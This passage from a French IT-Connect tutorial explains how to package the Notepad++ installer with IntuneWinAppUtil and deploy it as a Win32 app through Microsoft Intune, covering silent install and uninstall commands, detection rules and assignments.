<pre class="wp-block-code"><code>cd C:\TEMP\Microsoft-Win32-Content-Prep-Tool-master</code></pre>



<p>Il y a deux manières d'utiliser cet outil :</p>



<ul>
<li>Appeler l'exécutable dans la console et "répondre aux questions" en mode interactif</li>



<li>Appeler l'exécutable et préciser les arguments et leurs valeurs dans la console</li>
</ul>



<p>Pour prendre en main cet outil, nous allons utiliser le mode interactif. Exécutez cette commande :</p>



<pre class="wp-block-code"><code>.\IntuneWinAppUtil.exe</code></pre>



<p>L'outil nous pose 4 questions :</p>



<ul>
<li><strong>Please specify the source folder</strong> - Dans quel répertoire se situe l'exécutable source, donc "<em>C:\TEMP\SOFTWARE</em>"</li>



<li><strong>Please specify the setup file </strong>- Spécifier l'emplacement du fichier d'installation (.exe), donc "<em>C:\TEMP\SOFTWARE\npp.8.6.Installer.x64.exe</em>"</li>



<li><strong>Please specify the output folder </strong>- Spécifier dans quel répertoire créer le fichier de sortie (.intunewin), donc "<em>C:\TEMP\SOFTWARE</em>" (ou ailleurs)</li>



<li><strong>Do you want to specify catalog folder (Y/N)</strong> - Spécifier le répertoire d'un catalogue, donc indiquez "n" pour "non"</li>
</ul>



<p>Quelques secondes plus tard, le package est créé !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="434" src="media/16f20ca5.Intune-Executable-Generer-package-intunewim-Console.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Console.jpg" alt="Intune - Exécutable - Générer package intunewim - Console" class="wp-image-73235" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Console.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Console-550x298.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Console-150x81.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Console-768x417.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Console-50x27.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Dans le dossier de sortie, nous avons bien un fichier ".intunewin" qui accompagne le fichier ".exe" utilisé comme source !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="100" src="media/43dfe845.Intune-Executable-Generer-package-intunewim-Exemple.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Exemple.png" alt="Intune - Exécutable - Générer package intunewim - Exemple" class="wp-image-73234" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Exemple.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Exemple-550x69.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Exemple-150x19.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Exemple-768x96.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Executable-Generer-package-intunewim-Exemple-50x6.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Le package est prêt. </strong>La suite va se passer dans Microsoft Intune !</p>



<blockquote class="wp-block-quote">
<p><strong>Remarque</strong> : dans le cas présent, le package intunewin contient uniquement notre exécutable. Toutefois, pour le déploiement de certaines applications, il peut s'avérer nécessaire d'ajouter d'autres fichiers, notamment des scripts PowerShell.</p>
</blockquote>



<h2 class="wp-block-heading">V. Créer la stratégie d'application Intune</h2>



<p>Connectez-vous au centre d'administration Microsoft Intune. Voici un lien direct si besoin :</p>



<ul>
<li><a href="https://intune.microsoft.com" target="_blank" rel="noopener nofollow" title="">intune.microsoft.com</a></li>
</ul>



<p>Quand vous êtes prêt, suivez ces étapes :</p>



<p><strong>1 </strong>- Cliquez sur "<strong>Applications</strong>" dans le menu situé à gauche de l'écran</p>



<p><strong>2 </strong>- Cliquez sur "<strong>Toutes les applications</strong>"</p>



<p><strong>3</strong> - Cliquez sur le bouton "<strong>Ajouter</strong>" pour créer une nouvelle application</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="400" src="media/922b57f9.e-Creer-strategie-pour-deployer-nouvelle-application-Windows.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-strategie-pour-deployer-nouvelle-application-Windows.png" alt="Intune - Créer stratégie pour déployer nouvelle application Windows" class="wp-image-73233" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-strategie-pour-deployer-nouvelle-application-Windows.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-strategie-pour-deployer-nouvelle-application-Windows-550x275.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-strategie-pour-deployer-nouvelle-application-Windows-150x75.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-strategie-pour-deployer-nouvelle-application-Windows-768x384.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-strategie-pour-deployer-nouvelle-application-Windows-50x25.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Puisque nous sommes dans "<strong>Toutes les applications</strong>", le menu latéral affiche une longue liste avec toutes les possibilités pour tous les systèmes supportés. Ici, nous devons sélectionner "<strong>Application Windows (Win32)</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="400" height="696" src="media/794b67a8.Intune-Type-application-Windows-win32.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Type-application-Windows-win32.jpg" alt="Intune - Type application Windows win32" class="wp-image-73232" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Type-application-Windows-win32.jpg 400w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Type-application-Windows-win32-86x150.jpg 86w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Type-application-Windows-win32-29x50.jpg 29w" sizes="(max-width: 400px) 100vw, 400px" /></figure>



<p>La première étape consiste à charger le package intunewin. Suivez ces trois étapes :</p>



<p><strong>1</strong> - Cliquez sur "<strong>Sélectionner un fichier de package d'application</strong>".</p>



<p><strong>2 </strong>- Pour l'option "<strong>Fichier de package d'application</strong>", chargez le fichier .intunewin.</p>



<p><strong>3 </strong>- Validez via le bouton "<strong>OK</strong>".</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="207" src="media/e2cf4d4f.Intune-Selectionner-package-intunewin-800x207.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Selectionner-package-intunewin-800x207.png" alt="Intune - Sélectionner package intunewin" class="wp-image-73231" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Selectionner-package-intunewin-800x207.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Selectionner-package-intunewin-550x142.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Selectionner-package-intunewin-150x39.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Selectionner-package-intunewin-768x199.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Selectionner-package-intunewin-50x13.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Selectionner-package-intunewin.png 1077w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Voilà, nous y sommes !</strong> L'assistant de création d'une nouvelle application Intune est devant nous !</p>



<h3 class="wp-block-heading">A. Informations sur l'application</h3>



<p>La première étape consiste à<strong> renseigner les paramètres généraux de l'application</strong>, notamment son nom, une description, un éditeur, une version, une catégorie, etc... Ainsi qu'un logo. Il est recommandé de<strong> renseigner les informations et d'inclure un logo</strong>, car ce sont des données visibles dans le <em>Company Portal</em> / Portail d'entreprise.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="600" height="675" src="media/dec3f1ca.Intune-Ajouter-une-application-Informations-sur-lapplication.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Informations-sur-lapplication.jpg" alt="Intune - Ajouter une application - Informations sur l'application" class="wp-image-73239" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Informations-sur-lapplication.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Informations-sur-lapplication-550x619.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Informations-sur-lapplication-133x150.jpg 133w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Informations-sur-lapplication-44x50.jpg 44w" sizes="(max-width: 600px) 100vw, 600px" /></figure>



<p>Quand c'est fait, passez à l'étape suivant en cliquant sur le bouton "<strong>Suivant</strong>".</p>



<h3 class="wp-block-heading">B. Programme : commande d'installation, commande de désinstallation, etc.</h3>



<p>C'est probablement la partie de la configuration la plus <em>touchy </em>car vous devez indiquer <strong>les commandes d'installation et de désinstallation</strong>. C'est à vous d'effectuer les tests et recherches nécessaires pour trouver les bonnes commandes afin de pouvoir effectuer une installation silencieuse sur les appareils (afin d'automatiser l'installation en arrière-plan). Il convient de faire des tests en local pour ensuite indiquer les valeurs sur Intune.</p>



<p>Il y a des commutateurs populaires et cela dépend en partie du logiciel utilisé pour effectuer la compilation du logiciel. Pour l'installation silencieuse, ces commutateurs sont populaires et fréquents :</p>



<pre class="wp-block-preformatted">monfichier.exe <span style="color: #00ffff;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">/S</mark></span>
monfichier.exe <span style="color: #00ffff;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">/quiet</mark></span>
monfichier.exe <span style="color: #00ffff;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">/quiet</mark></span> <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">/acceptTerms=1</mark>
monfichier.exe <span style="color: #00ffff;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">/q</mark></span></pre>



<p>Pour visualiser les commutateurs disponibles sur un fichier exécutable, vous pouvez essayer les méthodes ci-dessous où l'on va chercher à consulter l'aide. Néanmoins, c'est possible qu'aucune ne fonctionne (c'est le cas avec Notepad++ d'ailleurs) !</p>



<pre class="wp-block-preformatted">monfichier.exe <span style="color: #00ffff;">/?</span>
monfichier.exe<span style="color: #00ffff;"> /help</span>
monfichier.exe<span style="color: #00ffff;"> --help</span></pre>



<p>Pour trouver la bonne valeur, nous vous invitons également à :</p>



<ul>
<li>Consulter la documentation de l'éditeur du logiciel</li>



<li>Consulter page ci-dessous qui recense les commandes d'installation de nombreux logiciels (EXE et MSI)
<ul>
<li><a href="https://www.manageengine.com/products/desktop-central/software-installation/windows-software.html" target="_blank" rel="noopener">Liste des logiciels</a></li>
</ul>
</li>
</ul>



<p><strong>Pour Notepad++, nous "<em>avons de la chance</em>" car il accepte le commutateur "/S" pour l'installation silencieuse.</strong></p>



<p>Voici des instructions pour compléter le formulaire sur Intune :</p>



<ul>
<li><strong>Commande d'installation</strong> : la commande à exécuter pour installer l'application</li>
</ul>



<pre class="wp-block-code"><code>npp.8.6.Installer.x64.exe /S</code></pre>



<ul>
<li><strong>Commande de désinstallation</strong> : la commande à exécuter pour désinstaller l'application de l'appareil</li>
</ul>



<pre class="wp-block-code"><code>"%ProgramFiles%\Notepad++\uninstall.exe" /S</code></pre>



<ul>
<li><strong>Temps d'installation requis (minutes)</strong> : nombre de minutes pendant lesquelles le système attend la fin de l'installation (par défaut : 60 minutes)</li>



<li><strong>Autoriser la désinstallation disponible </strong>: l'utilisateur peut-il désinstaller l'application via le Portail d'entreprise ?</li>



<li><strong>Comportement à l'installation</strong> : faut-il installer l'application au niveau machine afin de la rendre disponible pour tous les utilisateurs de la machine ou au niveau utilisateur (par session) ? Ici, ce sera au niveau du système (donc machine).</li>



<li><strong>Comportement de redémarrage du périphérique </strong>: ne pas redémarrer l'appareil, le redémarrer obligatoirement ou s'adapter à l'application. Ici, nous ne voulons pas que la machine redémarre à la fin de l'installation.</li>
</ul>



<p>Ce qui donne :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="675" src="media/c25600c3.Intune-Ajouter-une-application-Programme.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Programme.png" alt="Intune - Ajouter une application - Programme" class="wp-image-73238" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Programme.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Programme-550x464.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Programme-150x127.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Programme-768x648.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Programme-50x42.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Passez à l'étape suivante.</p>



<h3 class="wp-block-heading">C. Exigences : les prérequis des appareils cibles</h3>



<p>La section "<strong>Exigences</strong>" sert à définir les prérequis du système d'exploitation pour recevoir cette application. Puisque nous allons déployer la version 64 bits de Notepad++, vous devez cocher uniquement l'architecture "<strong>64 bits</strong>" et pour le système d'exploitation minimal, vous pouvez prendre "<strong>Windows 10 1607</strong>". Pour certaines applications, nous pourrions avoir besoin de sélectionner une version plus récente, mais là ce n'est pas le cas.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="600" src="media/395efbd9.Intune-Ajouter-une-application-Exigences.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences.png" alt="Intune - Ajouter une application - Exigences" class="wp-image-73237" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-550x413.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-150x113.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-768x576.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-50x38.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Même si nous n'allons pas utiliser cette fonctionnalité pour cette fois-ci, sachez que vous pouvez créer des règles spécifiques en cliquant sur le bouton "<strong>Ajouter</strong>". Ceci permet de vérifier une information dans le Registre ou sur le système de fichiers de la machine. Nous pouvons également exécuter un script de notre choix, ce qui pourrait permettre de vérifier tout ce que l'on veut sur la machine !</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="447" src="media/b019352b.Intune-Ajouter-une-application-Exigences-Script-800x447.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-Script-800x447.png" alt="Intune - Ajouter une application - Exigences - Script" class="wp-image-73236" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-Script-800x447.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-Script-550x307.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-Script-150x84.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-Script-768x429.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-Script-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Ajouter-une-application-Exigences-Script.png 1076w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Passez à l'étape suivante.</p>



<h3 class="wp-block-heading">D. Règles de détection</h3>



<p>La section "<strong>Règles de détection</strong>" sert à expliquer à Intune Management Extension comment il doit repérer la présence de l'application sur l'appareil. En effet, si l'application est déjà installée, ce n'est pas nécessaire de la réinstaller. Mais, que faut-il regarder pour s'en assurer ? Nous pouvons créer une ou plusieurs règles.</p>



<p>Le plus simple, c'est de vérifier la présence de l'exécutable sur l'ordinateur, à un emplacement précis. Ici, nous allons cliquer sur le bouton "<strong>Ajouter</strong>" pour créer une règle de type "<strong>Fichier</strong>" permettant de vérifier la présence du fichier "<strong>C:\Program Files\Notepad++\notepad++.exe</strong>".</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="246" src="media/54cfa394.Intune-Deployer-EXE-Regle-de-detection-800x246.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Deployer-EXE-Regle-de-detection-800x246.png" alt="Intune - Déployer EXE - Règle de détection" class="wp-image-73263" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Deployer-EXE-Regle-de-detection-800x246.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Deployer-EXE-Regle-de-detection-550x169.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Deployer-EXE-Regle-de-detection-150x46.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Deployer-EXE-Regle-de-detection-768x236.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Deployer-EXE-Regle-de-detection-50x15.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Deployer-EXE-Regle-de-detection.png 1074w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous pourrions aller plus loin afin qu'<strong>une règle vérifie le numéro de version</strong> indiqué dans les propriétés de l'exécutable. Ceci permettrait de voir si la bonne version est présente sur l'appareil (il y a plusieurs opérateurs de comparaison disponibles). Dans ce cas, il faudrait choisir "<strong>Chaîne (version)</strong>" comme "<strong>Méthode de détection</strong>" afin d'indiquer "<strong>8.6.0.0</strong>". Si une version inférieure est installée, l'application sera mise à jour vers la version plus récente (8.6).</p>



<figure class="wp-block-image size-large"><a href="media/b4657001.Intune-Win32-App-EXE-Regle-de-detection.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Win32-App-EXE-Regle-de-detection.png"><img decoding="async" width="800" height="415" src="media/9acded09.Intune-Win32-App-EXE-Regle-de-detection-800x415.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Win32-App-EXE-Regle-de-detection-800x415.png" alt="Intune - Win32 App EXE - Règle de détection" class="wp-image-76168" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Win32-App-EXE-Regle-de-detection-800x415.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Win32-App-EXE-Regle-de-detection-550x285.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Win32-App-EXE-Regle-de-detection-150x78.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Win32-App-EXE-Regle-de-detection-768x399.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Win32-App-EXE-Regle-de-detection-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Win32-App-EXE-Regle-de-detection.png 1056w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<h3 class="wp-block-heading">E. Dépendances</h3>



<p>La section "<strong>Dépendances</strong>" sert à ajouter un prérequis pour l'installation de cette application. En fait, ceci permet d'indiquer que cette application doit être installée après l'installation d'une ou plusieurs autres applications. Dans cet exemple, il n'y a pas de prérequis pour l'installation de Notepad++.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="396" src="media/17740f55.Intune-App-EXE-Dependances.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Dependances.png" alt="Intune - App EXE - Dépendances" class="wp-image-73262" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Dependances.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Dependances-550x272.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Dependances-150x74.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Dependances-768x380.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Dependances-50x25.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Passez cette étape.</p>



<h3 class="wp-block-heading">F. Remplacement</h3>



<p>La section "<strong>Remplacement</strong>" est utile lorsque l'application que l'on crée est une mise à jour d'une application existante, ou qu'elle doit la remplacer. Ici, nous partons de zéro : c'est la première application que nous déployons, donc nous pouvons considérer que nous ne sommes pas concernés.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="375" src="media/43e32f9b.Intune-App-EXE-Remplacement-800x375.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Remplacement-800x375.png" alt="Intune - App EXE - Remplacement" class="wp-image-73261" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Remplacement-800x375.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Remplacement-550x258.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Remplacement-150x70.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Remplacement-768x360.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Remplacement-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Remplacement.png 887w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Dans un prochain article, nous verrons comment effectuer des mises à jour d'applications via Intune.</p>



<h3 class="wp-block-heading">G. Affectations</h3>



<p>Pour finir, l'étape "<strong>Affectations</strong>" s'affiche à l'écran. Pour le déploiement des applications, nous avons "plus d'options" que pour l'affectation de stratégies. En effet,  nous avons trois grands modes d'affectation :</p>



<ul>
<li><strong>Obligatoire</strong> : force l'installation de l'application sur les appareils (de façon automatique grâce à notre commande d'installation)</li>



<li><strong>Disponible pour les appareils inscrits</strong> : l'application ne s'installe pas automatiquement sur les appareils, mais elle sera disponible via le Portail d'entreprise (Company Portal)</li>



<li><strong>Désinstaller</strong> : comme son nom l'indique, cette option permet de désinstaller l'application sur un ensemble de machines</li>
</ul>



<p>Il y a également<strong> plusieurs options</strong> pour rendre disponible l'application à partir d'une date précise mais aussi pour imposer une échéance quant à l'installation de l'application.</p>



<p>Pour cette démonstration, nous allons rendre obligatoire l'installation de l'application sur toutes les machines du groupe "<strong>PC_Corporate</strong>".</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/cf758772.Intune-App-EXE-Affectations.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Affectations.jpg"><img decoding="async" width="1200" height="478" data-id="73260" src="media/cf758772.Intune-App-EXE-Affectations.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Affectations.jpg" alt="Intune - App EXE - Affectations" class="wp-image-73260" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Affectations.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Affectations-550x219.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Affectations-800x319.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Affectations-150x60.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Affectations-768x306.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Affectations-50x20.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p></p>



<h3 class="wp-block-heading">H. Vérifier + créer</h3>



<p>Pour finir, vérifiez l'ensemble de la configuration et cliquez sur "<strong>Créer</strong>" pour valider la création de l'application !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="490" src="media/8c56428a.Intune-App-EXE-Reviser-et-creer.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Reviser-et-creer.png" alt="Intune - App EXE - Réviser et créer" class="wp-image-73259" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Reviser-et-creer.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Reviser-et-creer-550x337.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Reviser-et-creer-150x92.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Reviser-et-creer-768x470.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Reviser-et-creer-50x31.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">VI. Tester le déploiement de l'application</h2>



<p>Suite à la synchronisation de l'appareil Windows 11, le système a pu récupérer les informations sur cette nouvelle stratégie. De ce fait,<strong> l'application a pu être téléchargée et installée</strong>. Elle est bien installée dans "<em>C:\Programmes</em>", ce qui la rend disponible pour tous les utilisateurs de cette machine.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="335" src="media/abad4b89.Intune-App-EXE-Verifier-etat-installation.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Verifier-etat-installation.png" alt="Intune - App EXE - Vérifier état installation" class="wp-image-73265" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Verifier-etat-installation.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Verifier-etat-installation-550x230.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Verifier-etat-installation-150x63.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Verifier-etat-installation-768x322.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Verifier-etat-installation-50x21.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous pouvons toujours consulter le fichier de log "<em>IntuneManagementExtension.log</em>" avec l'outil <strong>CMTrace </strong>pour analyser le comportement de la machine locale. Ceci sera particulièrement utile s'il y a une erreur d'installation. Dans le cas présent, tout s'est correctement déroulé. </p>



<p>D'ailleurs, nous pouvons voir "<strong>applicationDetected: False</strong>" dans les logs, ce qui signifie que l<strong>'application n'a pas été détectée donc elle a été installée </strong>puisqu'elle est obligatoire sur cet appareil.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="473" src="media/82c96acc.Intune-App-EXE-Log-IntuneManagementExtension-800x473.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Log-IntuneManagementExtension-800x473.png" alt="Intune - App EXE - Log IntuneManagementExtension" class="wp-image-73264" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Log-IntuneManagementExtension-800x473.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Log-IntuneManagementExtension-550x325.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Log-IntuneManagementExtension-150x89.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Log-IntuneManagementExtension-768x455.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Log-IntuneManagementExtension-50x30.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-App-EXE-Log-IntuneManagementExtension.png 1051w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Soyez patient, parfois les applications peuvent mettre du temps à "redescendre" sur les machines même lorsqu'il y a une synchronisation effectuée sur l'appareil.</p>



<h2 class="wp-block-heading">VII. Conclusion</h2>



<p>En suivant ce tutoriel rigoureusement, vous devriez être en mesure de <strong>déployer des applications au format "exécutable" sur vos appareils Windows</strong> ! L'étape la plus difficile consiste à identifier la bonne syntaxe pour les commandes d'installation et de désinstallation. D'autres articles seront mis en ligne sur le sujet du déploiement d'applications avec Microsoft Intune.</p>



<blockquote class="wp-block-quote">
<p><strong>Note </strong>: le type de déploiement Win32 App peut être utilisé pour les applications au format EXE, mais pas uniquement puisqu'il est possible de packager un fichier MSI dans un paquet intunewin.</p>
</blockquote><p>The post <a href="https://www.it-connect.fr/intune-comment-deployer-une-application-au-format-exe/">Intune – Comment déployer une application au format EXE ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76288
title: Microsoft Exchange affecté par une nouvelle faille zero-day : CVE-2024-21410
